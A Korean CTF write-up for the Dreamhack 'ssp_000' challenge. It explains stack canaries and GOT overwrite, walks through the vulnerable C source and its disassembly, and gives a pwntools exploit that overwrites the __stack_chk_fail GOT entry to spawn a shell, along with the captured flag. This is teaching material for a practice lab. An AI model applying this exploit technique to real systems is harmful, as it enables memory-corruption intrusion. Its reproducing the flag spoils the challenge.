본문 바로가기
Security/System Hacking

Stack Canary(ssp_000)

by HanJunseo 2024. 3. 31.

Stack canary는 버퍼 오버플로우 공격을 탐지하고 방어하기 위해 사용되는 보안 기술이다.

 

 

버퍼 오버플로우를 이용하여 스택을 조작하려고 할 때, 먼저 이 캐너리 값을 덮어쓰게 된다.

함수 반환 전에 캐너리 값이 변경되었는지 확인함으로써, 버퍼 오버플로우 공격을 탐지한다.

 

GOT Overwrite

 

GOT Overwrite 공격은 프로그램의 Global Offset Table (GOT)을 조작하여 임의 코드 실행을 가능하게 하는 보안 공격 기법.

GOT (Global Offset Table): 실행 시간에 리졸브되어야 하는 심볼(주로 함수)의 주소를 저장하는 테이블

 

dreamhack ssp_000 문제 풀이
https://dreamhack.io/wargame/challenges/32

 

ssp_000

Desciption 이 문제는 작동하고 있는 서비스(ssp_000)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요

dreamhack.io

 

코드 분석

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

 

char buf[0x40] = {};

버퍼에 0x40만큼 값을 할당한 후


read(0, buf, 0x80);
사용자로부터 0x80 값만큼 입력받는다.

> 이 부분에서 버퍼 오버플로우가 발생한다.

 

printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
이 부분에서는 addr, value 값을 입력받고 addr의 메모리 주소에 value 값을 저장한다.

 

disassemble 과정 분석

 

 

 

 IDA를 통해 분석한 결과 add과 value값이 rbp 버퍼에 저장되는 것을 확인할 수 있다. 

gdb를 사용해서 더 자세히 분석한 결과

0x00000000004008fb < +0 >: push rbp
0x00000000004008fc < +1 >: mov rbp, rsp
0x00000000004008ff < +4 >: sub rsp, 0x70
0x0000000000400903 < +8 >: mov DWORD PTR[rbp - 0x64], edi
0x0000000000400906 < +11 >: mov QWORD PTR[rbp - 0x70], rsi
0x000000000040090a < +15 >: mov rax, QWORD PTR fs: 0x28
0x0000000000400913 < +24 >: mov QWORD PTR[rbp - 0x8], rax
0x0000000000400917 < +28 >: xor eax, eax
0x0000000000400919 < +30 >: lea rdx, [rbp - 0x50]
0x000000000040091d < +34 >: mov eax, 0x0
0x0000000000400922 < +39 >: mov ecx, 0x8
0x0000000000400927 < +44 >: mov rdi, rdx
0x000000000040092a < +47 >: rep stos QWORD PTR es: [rdi], rax
0x000000000040092d < +50 >: mov eax, 0x0
0x0000000000400932 < +55 >: call 0x40088e < initialize >
    0x0000000000400937 < +60 >: lea rax, [rbp - 0x50]
0x000000000040093b < +64 >: mov edx, 0x80
0x0000000000400940 < +69 >: mov rsi, rax
0x0000000000400943 < +72 >: mov edi, 0x0
0x0000000000400948 < +77 >: call 0x400710 < read @plt >
    0x000000000040094d < +82 >: mov edi, 0x400a55
0x0000000000400952 < +87 >: mov eax, 0x0
0x0000000000400957 < +92 >: call 0x4006f0 < printf @plt >
    0x000000000040095c < +97 >: lea rax, [rbp - 0x60]
0x0000000000400960 < +101 >: mov rsi, rax
0x0000000000400963 < +104 >: mov edi, 0x400a5d
0x0000000000400968 < +109 >: mov eax, 0x0
0x000000000040096d < +114 >: call 0x400750 < __isoc99_scanf @plt >
    0x0000000000400972 < +119 >: mov edi, 0x400a61
0x0000000000400977 < +124 >: mov eax, 0x0
0x000000000040097c < +129 >: call 0x4006f0 < printf @plt >
    0x0000000000400981 < +134 >: lea rax, [rbp - 0x58]
0x0000000000400985 < +138 >: mov rsi, rax
0x0000000000400988 < +141 >: mov edi, 0x400a5d
0x000000000040098d < +146 >: mov eax, 0x0
0x0000000000400992 < +151 >: call 0x400750 < __isoc99_scanf @plt >
    0x0000000000400997 < +156 >: mov rax, QWORD PTR[rbp - 0x60]
0x000000000040099b < +160 >: mov rdx, rax
0x000000000040099e < +163 >: mov rax, QWORD PTR[rbp - 0x58]
0x00000000004009a2 < +167 >: mov QWORD PTR[rdx], rax
0x00000000004009a5 < +170 >: mov eax, 0x0
0x00000000004009aa < +175 >: mov rcx, QWORD PTR[rbp - 0x8]
0x00000000004009ae < +179 >: xor rcx, QWORD PTR fs: 0x28
0x00000000004009b7 < +188 >: je 0x4009be < main + 195 >
    0x00000000004009b9 < +190 >: call 0x4006d0 < __stack_chk_fail @plt >
    0x00000000004009be < +195 >: leave
0x00000000004009bf < +196 >: ret

 

다음과 같은 코드를 얻게 되었다.

해석하자면 사용자의 입력값(buf)은 rbp 0x50, addr 값은 rbp 0x60, value값은 0x58에 저장되는 것을 알게 되었다. 

따라서 다음과 같은 상태가 된다.

따라서 buf값을 받는 곳에 bp를 걸어 확인한 결과 다음과 같다.

0x7fffffffe160: 0x0000000a34333231 0x0000000000000000
0x7fffffffe170: 0x0000000000000000 0x0000000000000000
0x7fffffffe180: 0x0000000000000000 0x0000000000000000
0x7fffffffe190: 0x0000000000000000 0x0000000000000000
0x7fffffffe1a0: 0x0000000000000000 0xe5ba0b0ffb78b500
0x7fffffffe1b0: 0x0000000000000001 0x00007ffff7df16ca
0x7fffffffe1c0: 0x0000000000000000 0x00000000004008fb
0x7fffffffe1d0: 0x0000000100000000 0x00007fffffffe2c8
0x7fffffffe1e0: 0x00007fffffffe2c8 0xa87aec1a1584b4ca
0x7fffffffe1f0: 0x0000000000000000 0x00007fffffffe2d8
0x7fffffffe200: 0x0000000000000000 0x00007ffff7ffd000
0x7fffffffe210: 0x578513e5d606b4ca 0x578503a43882b4ca
0x7fffffffe220: 0x0000000000000000 0x0000000000000000
0x7fffffffe230: 0x0000000000000000 0x0000000000000000
0x7fffffffe240: 0x00007fffffffe2c8 0xe5ba0b0ffb78b500

확인결과 8바이트의 더미 값이 있는 것을 확인했다. 

 

exploit

 

Canary leak을 할 수 있을만한 부분이 보이지 않아서
GOT 공격을 이용해서  __stack_chk_fail 값을 변조하면 shell을 획득할 수 있을 것이다.

 

pwndbg > disassemble 0x4006d0
Dump of assembler code
for
function __stack_chk_fail @plt:
    0x00000000004006d0 < +0 >: jmp QWORD PTR[rip + 0x20094a] # 0x601020 < __stack_chk_fail @got.plt >
    0x00000000004006d6 < +6 >: push 0x1
0x00000000004006db < +11 >: jmp 0x4006b0

 

__stack_chk_fail의 got 주소를 확인한 결과 다음과 같다.

 

파이썬 코드를 작성하면 다음과 같다.

 

from pwn import *

p = remote("host3.dreamhack.games", 12915)
e = ELF("./ssp_000")

context.log_level = 'debug'

get_shell = e.symbols['get_shell']
stack_chk_fail_got = e.got['__stack_chk_fail']


payload = b'A' * 0x50
p.sendline(payload)

print("[+] stack_chk_fail: ", hex(stack_chk_fail_got))

p.sendlineafter("Addr : ", str(stack_chk_fail_got))
p.sendlineafter("Value : ", str(get_shell))

p.interactive()

 

Flag 출력

 

DH{e4d253b82911565ad8dd9625fb491ab0}

'Security > System Hacking' 카테고리의 다른 글

Stack Canary(ssp_001)  (0) 2024.03.31